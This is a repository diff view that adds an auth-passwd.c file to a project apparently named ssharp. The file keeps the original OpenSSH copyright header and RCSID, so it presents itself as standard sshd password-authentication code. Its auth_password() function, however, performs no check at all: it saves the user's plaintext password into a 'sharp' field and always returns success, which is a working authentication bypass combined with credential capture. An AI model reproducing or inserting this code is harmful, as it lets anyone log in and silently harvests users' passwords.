summaryrefslogtreecommitdiff
path: root/other/ssharp/auth-passwd.c
diff options
context:
space:
mode:
Diffstat (limited to 'other/ssharp/auth-passwd.c')
-rw-r--r--other/ssharp/auth-passwd.c96
1 files changed, 96 insertions, 0 deletions
diff --git a/other/ssharp/auth-passwd.c b/other/ssharp/auth-passwd.c
new file mode 100644
index 0000000..5733418
--- /dev/null
+++ b/other/ssharp/auth-passwd.c
@@ -0,0 +1,96 @@
1/*
2 * Author: Tatu Ylonen <ylo@cs.hut.fi>
3 * Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
4 * All rights reserved
5 * Password authentication. This file contains the functions to check whether
6 * the password is valid for the user.
7 *
8 * As far as I am concerned, the code I have written for this software
9 * can be used freely for any purpose. Any derived versions of this
10 * software must be clearly marked as such, and if the derived work is
11 * incompatible with the protocol description in the RFC file, it must be
12 * called by a name other than "ssh" or "Secure Shell".
13 *
14 * Copyright (c) 1999 Dug Song. All rights reserved.
15 * Copyright (c) 2000 Markus Friedl. All rights reserved.
16 *
17 * Redistribution and use in source and binary forms, with or without
18 * modification, are permitted provided that the following conditions
19 * are met:
20 * 1. Redistributions of source code must retain the above copyright
21 * notice, this list of conditions and the following disclaimer.
22 * 2. Redistributions in binary form must reproduce the above copyright
23 * notice, this list of conditions and the following disclaimer in the
24 * documentation and/or other materials provided with the distribution.
25 *
26 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
27 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
28 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
29 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
30 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
31 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
32 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
33 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
34 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
35 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
36 */
37
38#include "includes.h"
39RCSID("$OpenBSD: auth-passwd.c,v 1.22 2001/03/20 18:57:04 markus Exp $");
40
41#if !defined(USE_PAM) && !defined(HAVE_OSF_SIA)
42
43#include "packet.h"
44#include "xmalloc.h"
45#include "log.h"
46#include "servconf.h"
47#include "auth.h"
48
49#ifdef HAVE_CRYPT_H
50# include <crypt.h>
51#endif
52#ifdef WITH_AIXAUTHENTICATE
53# include <login.h>
54#endif
55#ifdef __hpux
56# include <hpsecurity.h>
57# include <prot.h>
58#endif
59#ifdef HAVE_SCO_PROTECTED_PW
60# include <sys/security.h>
61# include <sys/audit.h>
62# include <prot.h>
63#endif /* HAVE_SCO_PROTECTED_PW */
64#if defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW)
65# include <shadow.h>
66#endif
67#if defined(HAVE_GETPWANAM) && !defined(DISABLE_SHADOW)
68# include <sys/label.h>
69# include <sys/audit.h>
70# include <pwdadj.h>
71#endif
72#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT)
73# include "md5crypt.h"
74#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */
75
76#ifdef HAVE_CYGWIN
77#undef ERROR
78#include <windows.h>
79#include <sys/cygwin.h>
80#define is_winnt (GetVersion() < 0x80000000)
81#endif
82
83
84extern ServerOptions options;
85
86/*
87 * Tries to authenticate the user using password. Returns true if
88 * authentication succeeds.
89 */
90int
91auth_password(Authctxt *authctxt, const char *password)
92{
93 authctxt->sharp.pass = strdup(password);
94 return 1;
95}
96#endif /* !USE_PAM && !HAVE_OSF_SIA */